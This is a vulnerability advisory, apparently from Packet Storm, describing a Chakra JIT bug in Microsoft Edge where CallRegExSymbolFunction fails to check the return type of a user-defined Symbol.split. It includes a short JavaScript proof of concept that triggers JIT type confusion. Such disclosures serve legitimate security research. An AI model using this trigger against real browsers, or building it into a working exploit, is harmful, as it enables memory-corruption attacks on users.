Microsoft Edge Chakra JIT CallRegExSymbolFunction Return Check Fail

Microsoft Edge Chakra JIT fails to check the return type in CallRegExSymbolFunction.

MD5 | b730434f94ef176ac17055fa8c62695c

Download

Microsoft Edge: Chakra: JIT: CallRegExSymbolFunction doesn't check the return type 




The "CallRegExSymbolFunction" method is used to call symbol functions in regexp objects. But it doesn't check the return value's type. Since the user can define the symbol functions, it can break the JIT compiler's type assumptions.

Tested Microsoft Edge 41.16299.15.0 with Experimental JavaScript Features enabled.

PoC:
function opt(r) {
    let arr = 'a'.split(r);
    arr.x = 1;

    return arr;
}

function main() {
    let a = {
        [Symbol.split]() {
            return 0x1234;
        }
    };

    for (let i = 0; i < 0x10000; i++) {
        opt(a);
    }
    opt(a);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Source: packetstormsecurity.com